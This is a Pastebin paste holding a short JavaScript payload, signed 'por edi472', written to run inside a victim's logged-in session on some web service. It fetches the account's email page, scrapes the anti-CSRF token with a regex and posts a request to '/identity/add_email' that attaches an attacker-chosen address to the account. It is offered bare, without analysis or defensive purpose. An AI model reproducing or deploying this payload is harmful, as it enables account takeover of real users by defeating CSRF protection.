Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* por edi472 :) */
- a=Ajax;
- new a.Request('/identity/email',{
- onComplete:function(x){
- x=x.responseText;
- new a.Request('/identity/add_email',{
- parameters:'struts.token.name=addEmailToken&addEmailToken='+x.match(/name="addEmailToken" value="(.*)"/gi).toString().split('value=')[1].split('"')[1].split('"')[0]+'&email='+email+'&__app_key='+$$('meta[name=csrf-token]')[0].content
- })
- }
- });
Advertisement
Add Comment
Please, Sign In to add comment